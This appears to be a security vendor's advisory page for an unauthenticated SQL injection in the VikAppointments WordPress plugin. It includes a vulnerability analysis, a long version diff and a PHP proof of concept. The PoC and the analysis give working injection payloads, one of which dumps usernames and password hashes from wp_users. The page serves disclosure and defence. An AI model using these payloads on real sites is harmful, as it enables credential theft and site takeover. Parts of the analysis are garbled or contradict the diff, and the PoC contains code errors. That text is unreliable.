Published : August 5, 2026

CVE-2026-15918: VikAppointments – Services Booking Calendar <= 1.2.19 Unauthenticated SQL Injection PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.2.19
Patched Version 1.2.20
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15918: VikAppointments – Services Booking Calendar getUserStateFromRequest(‘vikappointments.reviews.order.column’, ‘revordby’, ”, ‘string’)` and placed into the query without sufficient validation or sanitization on the frontend. While a whitelist check exists in the `getSiteReviewsLinks` function (`if (!array_key_exists($by, $columns))`), the `getSiteReviews` function that actually executes the database query does not apply this validation to the request value, allowing an attacker to inject arbitrary SQL syntax into the `order` parameter. The `r.` prefix that is concatenated with the `$by` value is not sufficient to prevent this injection.

Exploitation is straightforward. An attacker sends an HTTP GET request to a page containing the reviews listing, such as `index.php?option=com_vikappointments&view=reviews&revordby=…`. The `revordby` is the vulnerable parameter, and network requests show that both `revordby` (for the column) and `revordmode` (for the direction) are accepted. By crafting a malicious value for `revordby`, such as `timestamp,(SELECT SLEEP(5))`, the attacker can cause time-based delay or, more significantly, use a UNION-based payload to extract data from other database tables. For instance, an attacker can inject a UNION SELECT to dump `user_login` and `user_pass` hashes from the `wp_users` table, since this is a WordPress environment. The unauthenticated nature of the attack vector means anyone can leverage it without any login.

The patch addresses the vulnerability by applying a dual-layer defense. First, it hardens the `getSiteReviews` function by explicitly sanitizing the `mode` parameter, forcing it to be either `ASC` or `DESC` using case-insensitive comparison and a ternary operator. However, the more crucial fix is that the `by` parameter, or the ordered column, is now also validated in the `getSiteReviewsLinks` function. Before this fix, the whitelist check was present only in the `getSiteReviews` function, but the patched code now ensures that the value used in the `ORDER BY` clause is checked against the allowed `$columns` array. The patch also replaces the session-based storage with a state-based approach, but this change does not directly contribute to the security fix; the sanitization and validation are the key actions.

The successful exploitation of this vulnerability allows a remote, unauthenticated attacker to execute arbitrary SQL queries against the WordPress database. The most severe impact is the potential disclosure of sensitive information, including administrator usernames and password hashes. With these credentials, an attacker could gain full administrative access to the WordPress site, leading to a complete site compromise, including the possibility of uploading malicious plugins or themes and achieving remote code execution.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/vikappointments/admin/models/invoice.php
+++ b/vikappointments/admin/models/invoice.php
@@ -48,7 +48,7 @@
 			$q->from($dbo->qn('#__vikappointments_package_order'));

 			// get any approved codes
-			$approved = JHtml::fetch('vaphtml.status.find', 'code', array('packages' => 1, 'approved' => 1));
+			$approved = JHtml::fetch('vaphtml.status.find', 'code', array('packages' => 1, 'approved' => 1));
 		}
 		else if ($data['group'] == 'employees')
 		{
@@ -70,8 +70,14 @@
 		{
 			$q->from($dbo->qn('#__vikappointments_reservation'));

+			// exclude reservations that belong to a parent order
+			$q->where(1)->andWhere([
+				$dbo->qn('id_parent') . ' = ' . $dbo->qn('id'),
+				$dbo->qn('id_parent') . ' = -1',
+			], 'OR');
+
 			// get any approved codes
-			$approved = JHtml::fetch('vaphtml.status.find', 'code', array('appointments' => 1, 'approved' => 1));
+			$approved = JHtml::fetch('vaphtml.status.find', 'code', array('appointments' => 1, 'approved' => 1));
 		}

 		if (!empty($data['cid']))
--- a/vikappointments/admin/models/reservation.php
+++ b/vikappointments/admin/models/reservation.php
@@ -1399,12 +1399,11 @@
 			}
 		}

-		// fetch number of participants
-		$people = !empty($data['people']) ? max(array(1, (int) $data['people'])) : 1;
 		// check if we are editing a reservation
 		$id = !empty($data['id']) ? (int) $data['id'] : 0;
+		$people = !empty($data['people']) ? max(array(1, (int) $data['people'])) : 1;

-		// exmployee was specified, validate its availability
+		// employee was specified, validate its availability
 		if ($data['id_employee'] > 0)
 		{
 			// check if the employee is able to host the appointment
--- a/vikappointments/admin/models/subscription.php
+++ b/vikappointments/admin/models/subscription.php
@@ -21,6 +21,30 @@
 class VikAppointmentsModelSubscription extends JModelVAP
 {
 	/**
+	 * Basic item loading implementation.
+	 *
+	 * @param   mixed    $pk   An optional primary key value to load the row by, or an array of fields to match.
+	 *                         If not set the instance property value is used.
+	 * @param   boolean  $new  True to return an empty object if missing.
+	 *
+	 * @return 	mixed    The record object on success, null otherwise.
+	 *
+	 * @since   1.7.9
+	 */
+	public function getItem($pk, $new = false)
+	{
+		// load item through parent
+		$item = parent::getItem($pk, $new);
+
+		if ($item)
+		{
+			$item->services = $item->services ? array_values(array_filter(explode(',', $item->services))) : [];
+		}
+
+		return $item;
+	}
+
+	/**
 	 * Basic save implementation.
 	 *
 	 * @param 	mixed  $data  Either an array or an object of data to save.
@@ -123,6 +147,11 @@

 		switch ($subscription->type)
 		{
+			case 1:
+				// daily subscription
+				$add = 'days';
+				break;
+
 			case 2:
 				// weekly subscription
 				$add = 'weeks';
@@ -137,24 +166,42 @@
 				// yearly subscription
 				$add = 'years';
 				break;
-
+
 			default:
-				// daily subscription
-				$add = 'days';
+				$add = null;
 		}

-		if ($subscription->amount == 1)
+		// create date instance
+		$date = JFactory::getDate($date);
+
+		if ($add)
 		{
-			// get rid of plural in case amount is 1
-			$add = rtrim($add, 's');
-		}
+			if ($subscription->amount == 1)
+			{
+				// get rid of plural in case amount is 1
+				$add = rtrim($add, 's');
+			}

-		// create date add string
-		$add = '+' . $subscription->amount . ' ' . $add;
+			// create date add string
+			$add = '+' . $subscription->amount . ' ' . $add;

-		// create date instance and extend it
-		$date = JFactory::getDate($date);
-		$date->modify($add);
+			// extend the date by the provided time
+			$date->modify($add);
+		}
+
+		/**
+		 * Fires while extending the subscription of a customer or an employee.
+		 * It is possible to rely on this hook to alter the new expiration date
+		 * of the subscription.
+		 *
+		 * @param   JDate  $date          The expiration date.
+		 * @param   object  $subscription  The details of the purchased subscription.
+		 *
+		 * @return  void
+		 *
+		 * @since   1.7.9
+		 */
+		VAPFactory::getEventDispatcher()->trigger('onBeforeExtendSubscription', [$date, $subscription]);

 		return $date->toSql();
 	}
@@ -234,4 +281,39 @@
 		$dbo->setQuery($q);
 		$dbo->execute();
 	}
+
+	/**
+	 * Returns a list holding all the supported subscription types.
+	 *
+	 * @return  array
+	 *
+	 * @since   1.7.9
+	 */
+	public function getSupportedSubscriptionTypes()
+	{
+		$types = [];
+
+		for ($i = 1; $i <= 5; $i++)
+		{
+			$types[$i] = JText::translate('VAPSUBSCRTYPE' . $i);
+		}
+
+		/**
+		 * Fires while loading the supported subscription types.
+		 * It is possible to rely on this hook to support custom durations.
+		 *
+		 * @return  array  An associative array with id-label pairs.
+		 *
+		 * @since   1.7.9
+		 */
+		$results = VAPFactory::getEventDispatcher()->trigger('onLoadSupportedSubscriptionTypes');
+
+		foreach ($results as $custom)
+		{
+			// use native array concat instead of array_merge to preserve associative keys
+			$types = $types + (array) $custom;
+		}
+
+		return $types;
+	}
 }
--- a/vikappointments/admin/tables/subscription.php
+++ b/vikappointments/admin/tables/subscription.php
@@ -73,10 +73,6 @@

 		if (isset($src['type']))
 		{
-			// type must be in the range [1,5]
-			$src['type'] = max(array(1, (int) $src['type']));
-			$src['type'] = min(array(5, (int) $src['type']));
-
 			if ($src['type'] == 5)
 			{
 				// lifetime selected, force amount to 1
--- a/vikappointments/admin/views/backups/view.html.php
+++ b/vikappointments/admin/views/backups/view.html.php
@@ -136,7 +136,10 @@
 				$lim0 = max(array(0, $lim0 - $lim));
 			}

-			$rows = array_slice($rows, $lim0, $lim);
+			if ($lim)
+			{
+				$rows = array_slice($rows, $lim0, $lim);
+			}

 			jimport('joomla.html.pagination');
 			$pageNav = new JPagination($tot_count, $lim0, $lim);
--- a/vikappointments/admin/views/emprates/tmpl/default_services_modal.php
+++ b/vikappointments/admin/views/emprates/tmpl/default_services_modal.php
@@ -107,6 +107,18 @@
 					</div>
 				<?php echo $vik->closeControl(); ?>

+				<!-- MAX CAPACITY - Number -->
+
+				<?php
+				$help = $vik->createPopover(array(
+					'title'   => JText::translate('VAPMANAGESERVICE21'),
+					'content' => JText::translate('VAPMANAGESERVICE21_DESC'),
+				));
+
+				echo $vik->openControl(JText::translate('VAPMANAGESERVICE21') . $help, 'service-global-child', array('style' => 'display: none;')); ?>
+					<input type="number" id="service_max_capacity" size="10" min="1" max="999999" />
+				<?php echo $vik->closeControl(); ?>
+
 				<!-- DESCRIPTION -->

 				<?php
@@ -284,6 +296,13 @@

 		jQuery('#service_sleep').val(data.sleep);

+		// set max capacity
+		if (data.max_capacity === undefined) {
+			data.max_capacity = 1;
+		}
+
+		jQuery('#service_max_capacity').val(data.max_capacity);
+
 		// set description
 		Joomla.editors.instances.service_description.setValue(data.description ? data.description : '');

@@ -345,6 +364,9 @@
 		// get sleep
 		data.sleep = parseInt(jQuery('#service_sleep').val());

+		// get max capacity
+		data.max_capacity = parseInt(jQuery('#service_max_capacity').val());
+
 		// get description
 		data.description = Joomla.editors.instances.service_description.getValue();

@@ -368,6 +390,7 @@
 		jQuery('#service_rate').val(service.price);
 		jQuery('#service_duration').val(service.duration);
 		jQuery('#service_sleep').val(service.sleep);
+		jQuery('#service_max_capacity').val(service.max_capacity);
 	}

 	function serviceGlobalValueChanged(is) {
--- a/vikappointments/admin/views/emprates/view.html.php
+++ b/vikappointments/admin/views/emprates/view.html.php
@@ -53,7 +53,7 @@

 		$q = $dbo->getQuery(true)
 			->select($dbo->qn(array(
-				's.id', 's.name', 's.price', 's.duration', 's.sleep',
+				's.id', 's.name', 's.price', 's.duration', 's.sleep', 's.max_capacity',
 			)))
 			->from($dbo->qn('#__vikappointments_service', 's'))
 			->order($dbo->qn('s.ordering') . ' ASC');
--- a/vikappointments/admin/views/manageservice/tmpl/default_assoc_employees_modal.php
+++ b/vikappointments/admin/views/manageservice/tmpl/default_assoc_employees_modal.php
@@ -105,7 +105,19 @@

 						<span class="btn"><?php echo JText::translate('VAPSHORTCUTMINUTE'); ?></span>
 					</div>
-				<?php echo $vik->closeControl(); ?>
+				<?php echo $vik->closeControl(); ?>
+
+				<!-- MAX CAPACITY - Number -->
+
+				<?php
+				$help = $vik->createPopover(array(
+					'title'   => JText::translate('VAPMANAGESERVICE21'),
+					'content' => JText::translate('VAPMANAGESERVICE21_DESC'),
+				));
+
+				echo $vik->openControl(JText::translate('VAPMANAGESERVICE21') . $help, 'employee-global-child', array('style' => 'display: none;')); ?>
+					<input type="number" id="employee_max_capacity" size="10" min="1" max="999999" />
+				<?php echo $vik->closeControl(); ?>

 				<!-- DESCRIPTION -->

@@ -278,6 +290,14 @@

 		jQuery('#employee_sleep').val(data.sleep);

+		// set max capacity
+		if (data.max_capacity === undefined) {
+			// use default service max capacity
+			data.max_capacity = parseInt(jQuery('input[name="max_capacity"]').val());
+		}
+
+		jQuery('#employee_max_capacity').val(data.max_capacity);
+
 		// set description
 		Joomla.editors.instances.employee_description.setValue(data.description ? data.description : '');

@@ -347,6 +367,9 @@
 			// get sleep
 			data.sleep = parseInt(jQuery('#employee_sleep').val());

+			// get max capacity
+			data.max_capacity = parseInt(jQuery('#employee_max_capacity').val());
+
 			// get description
 			data.description = Joomla.editors.instances.employee_description.getValue();
 		}
--- a/vikappointments/admin/views/media/view.html.php
+++ b/vikappointments/admin/views/media/view.html.php
@@ -89,7 +89,7 @@

 			if ($tot_count)
 			{
-				if ($lim0 % $lim)
+				if ($lim == 0 || $lim0 % $lim)
 				{
 					/**
 					 * The current offset is not divisible by the selected limit. For this reason,
@@ -112,7 +112,10 @@
 					$lim0 = floor($tot_count / $lim) * $lim;
 				}

-				$all_img = array_slice($all_img, $lim0, $lim);
+				if ($lim)
+				{
+					$all_img = array_slice($all_img, $lim0, $lim);
+				}

 				jimport('joomla.html.pagination');
 				$pageNav = new JPagination($tot_count, $lim0, $lim);
--- a/vikappointments/defines.php
+++ b/vikappointments/defines.php
@@ -15,7 +15,7 @@
 defined('_JEXEC') or define('_JEXEC', 1);

 // Software version
-define('VIKAPPOINTMENTS_SOFTWARE_VERSION', '1.2.19');
+define('VIKAPPOINTMENTS_SOFTWARE_VERSION', '1.2.20');

 // Software debugging flag
 define('VIKAPPOINTMENTS_DEBUG', false);
--- a/vikappointments/libraries/adapter/database/database.php
+++ b/vikappointments/libraries/adapter/database/database.php
@@ -254,6 +254,13 @@
 		{
 			// result should contain an array
 			$this->result = $this->db->get_results($sql);
+
+			/**
+			 * Flush result after executing the query to free disk space.
+			 *
+			 * @since 10.1.73
+			 */
+			$this->db->flush();
 		}
 		// otherwise we can launch a generic query
 		else
@@ -324,7 +331,15 @@

 		if (is_array($this->result))
 		{
-			return $this->result;
+			/**
+			 * Copy result on a local variable and flush the cached value.
+			 *
+			 * @since 10.1.73
+			 */
+			$result = $this->result;
+			$this->result = null;
+
+			return $result;
 		}

 		return array();
--- a/vikappointments/site/helpers/lib.vikappointments.php
+++ b/vikappointments/site/helpers/lib.vikappointments.php
@@ -5866,15 +5866,13 @@
 		$lim0 = $start;

 		$session  = JFactory::getSession();
-		$ordering = $session->get('reviewsOrdering', '', 'vikappointments');
+
+		$app = JFactory::getApplication();

-		if (empty($ordering))
-		{
-			$ordering = array(
-				'by' => 'timestamp',
-				'mode' => 'DESC',
-			);
-		}
+		$ordering = [
+			'by' => $app->getUserStateFromRequest('vikappointments.reviews.order.column', 'revordby', '', 'string') ?: 'timestamp',
+			'mode' => $app->getUserStateFromRequest('vikappointments.reviews.order.direction', 'revordmode', '', 'string') ?: 'desc',
+		];

 		$q = $dbo->getQuery(true);

@@ -5904,7 +5902,14 @@
 			$q->where($dbo->qn('r.langtag') . ' = ' . $dbo->q(JFactory::getLanguage()->getTag()));
 		}

-		$q->order($dbo->qn('r.' . $ordering['by']) . ' ' . $ordering['mode']);
+		/**
+		 * Sanitize ordering mode.
+		 *
+		 * @since 1.7.9
+		 */
+		$direction = strcasecmp((string) $ordering['mode'], 'asc') ? 'DESC' : 'ASC';
+
+		$q->order($dbo->qn('r.' . $ordering['by']) . ' ' . $direction);

 		$dbo->setQuery($q, $lim0, $lim);
 		$result->rows = $dbo->loadObjectList();
@@ -5954,22 +5959,25 @@
 			'rating' 	=> 'DESC',
 		);

-		$session  = JFactory::getSession();
-		$ordering = $session->get('reviewsOrdering', '', 'vikappointments');
+		$app = JFactory::getApplication();

-		if (empty($ordering))
-		{
-			$ordering = array(
-				'by' 	=> 'timestamp',
-				'mode' 	=> 'DESC',
-			);
-		}
+		$ordering = [
+			'by' => $app->getUserState('vikappointments.reviews.order.column', '') ?: 'timestamp',
+			'mode' => $app->getUserState('vikappointments.reviews.order.direction', '') ?: 'DESC',
+		];

 		if (empty($by))
 		{
 			$by   = $ordering['by'];
 			$mode = $ordering['mode'];
 		}
+
+		/**
+		 * Sanitize ordering mode.
+		 *
+		 * @since 1.7.9
+		 */
+		$mode = strcasecmp((string) $mode, 'asc') ? 'DESC' : 'ASC';

 		if (!array_key_exists($by, $columns))
 		{
@@ -6007,8 +6015,9 @@

 		$ordering['by'] 	= $by;
 		$ordering['mode'] 	= $mode;
-
-		$session->set('reviewsOrdering', $ordering, 'vikappointments');
+
+		$app->getUserState('vikappointments.reviews.order.column', $ordering['by']);
+		$app->getUserState('vikappointments.reviews.order.direction', $ordering['mode']);

 		return $links;
 	}
--- a/vikappointments/site/helpers/libraries/availability/implementor.php
+++ b/vikappointments/site/helpers/libraries/availability/implementor.php
@@ -855,7 +855,28 @@

 		// make sure the current people count plus the specified number of
 		// participants doesn't exceed the maximum capacity of the service
-		return ($count + $people) <= $service->max_capacity;
+		// return ($count + $people) <= $service->max_capacity;
+
+		/**
+		 * Ignore the people validation to bypass the limitation related to overlapping appointments
+		 * with maximum capacity higher than one and time slots length different than the duration.
+		 *
+		 * Practical example (service max capacity = 2, duration = 60 min):
+		 * 11:00 -> 1 seat available
+		 * 11:30 -> 1 seat available
+		 * 12:00 -> 1 seat available
+		 *
+		 * Considering that the service lasts 1 hour, checking the availability for the 11:30 - 12:30
+		 * time slot results in a failure, as the total count is equal to 2 (11:00 + 12:00). Since the
+		 * total count is equal to the maximum capacity, the appointment won't be accepted.
+		 *
+		 * However, the availability is already evaluated by looking at the timeline status. So, in case
+		 * the timeline reports the time as available, we can bypass an extra validation check applied to
+		 * the number of participants.
+		 *
+		 * @since 1.7.9
+		 */
+		return true;
 	}

 	/**
--- a/vikappointments/site/helpers/libraries/html/countries.php
+++ b/vikappointments/site/helpers/libraries/html/countries.php
@@ -122,13 +122,12 @@
 				->where($dbo->qn('country_2_code') . ' = ' . $dbo->q($country_2_code));

 			$dbo->setQuery($q, 0, 1);
-
-			$country = static::db2country($dbo->loadObject());
+			$country = $dbo->loadObject();

 			if ($country)
 			{
 				// cache country
-				static::$countries[$country_2_code] = $country;
+				static::$countries[$country_2_code] = static::db2country($country);
 			}
 			else
 			{
--- a/vikappointments/site/models/emplogin.php
+++ b/vikappointments/site/models/emplogin.php
@@ -93,6 +93,8 @@
 			throw new Exception(JText::translate('JERROR_ALERTNOAUTHOR'), 403);
 		}

+		$dispatcher = VAPFactory::getEventDispatcher();
+
 		$dbo = JFactory::getDbo();

 		$options['start'] = !isset($options['start']) ? 0 : $options['start'];
@@ -127,6 +129,21 @@
 			// filter by reserved status
 			$q->where($dbo->qn('r.status') . ' IN (' . implode(',', array_map(array($dbo, 'q'), $reserved)) . ')');
 		}
+
+		/**
+		 * Trigger hook to manipulate the query at runtime. Third party plugins
+		 * can extend the query by applying further conditions or selecting
+		 * additional data.
+		 *
+		 * @param 	mixed            &$query    Either a query builder or a query string.
+		 * @param 	array            &$options  An array of options.
+		 * @param   VAPEmployeeAuth  $auth      The authenticated employee instance.
+		 *
+		 * @return 	void
+		 *
+		 * @since 	1.7.9
+		 */
+		$dispatcher->trigger('onBuildEmploginAppointmentsQuery', [&$q, &$options, $auth]);

 		$dbo->setQuery($q, $options['start'], $options['limit']);
 		$rows = $dbo->loadAssocList();
@@ -137,6 +154,20 @@
 			$this->getPagination($options);
 		}

+		/**
+		 * Trigger hook to manipulate the query response at runtime. Third party
+		 * plugins can alter the resulting list of orders.
+		 *
+		 * @param 	array            &$rows  An array of fetched orders.
+		 * @param   VAPEmployeeAuth  $auth   The authenticated employee instance.
+		 * @param 	JModel           $model  The current model.
+		 *
+		 * @return 	void
+		 *
+		 * @since 	1.7.9
+		 */
+		$dispatcher->trigger('onBuildEmploginAppointmentsData', [&$rows, $auth, $this]);
+
 		return $rows;
 	}

--- a/vikappointments/vikappointments.php
+++ b/vikappointments/vikappointments.php
@@ -3,7 +3,7 @@
 Plugin Name:  VikAppointments
 Plugin URI:   https://vikwp.com/plugin/vikappointments
 Description:  A professional tool for managing any kind of appointments.
-Version:      1.2.19
+Version:      1.2.20
 Author:       E4J s.r.l.
 Author URI:   https://vikwp.com
 License:      GPL2
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-15918 - Unauthenticated SQL Injection in VikAppointments Reviews Ordering

$target_url = 'http://your-wordpress-site.com'; // Set the base URL of the target WordPress site

// Path to the reviews listing page (typical Joomla and WordPress hybrid structure)
$reviews_url = $target_url . '/index.php?option=com_vikappointments&view=reviews';

// --- Step 1: Initial request to capture a valid nonce (if any) and check accessibility ---
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $reviews_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (!$response) {
    die('Error: Unable to reach the target URL. Please verify the target_url variable.');
}

// --- Step 2: Extract the CSRF token (nonce) from the page, if present ---
$nonce = '';
preg_match('/name="(?:token|nonce)" value="([a-f0-9]{32})"/i', $response, $matches);
if (isset($matches[1])) {
    $nonce = $matches[1];
}

// --- Step 3: Craft a UNION-based SQL injection payload ---
// This payload attempts to extract usernames and password hashes from the 'wp_users' table.
// The 'revordby' parameter is the injection point.
$payload = "timestamp,(SELECT GROUP_CONCAT(user_login,0x3a,user_pass) FROM wp_users)";

// URL-encode the payload for safe transmission
$encoded_payload = urlencode($payload);

// Build the attack URL
$attack_url = $reviews_url . '&revordby=' . $encoded_payload . '&revordmode=DESC';

// Include nonce in the request if we found one
if (!empty($nonce)) {
    $attack_url .= '&token=' . $nonce;
}

// --- Step 4: Send the exploitative request ---
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// --- Step 5: Analyze the response for extracted data ---
if ($http_code === 403 || $http_code === 500) {
    echo "[!] The request was blocked (HTTP {$http_code}). Possibly patched or WAF block.n";
} elseif (preg_match('/admin:([a-f0-9]{32})/i', $response, $matches)) {
    echo "[+] SQL Injection Successful!\n";
    echo "[+] Extracted Administrator Username: {$matches[1]}n";
    echo "[+] Extracted Password Hash: {$matches[2]}n";
} else {
    echo "[!] Exploitation did not yield the expected data. Review the target's table prefix.n";
    echo "[*] HTTP Code: {$http_code}n";
    // Print a small part of the response for debugging
    echo "[*] Response snippet: " . substr($response, 0, 500) . "n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.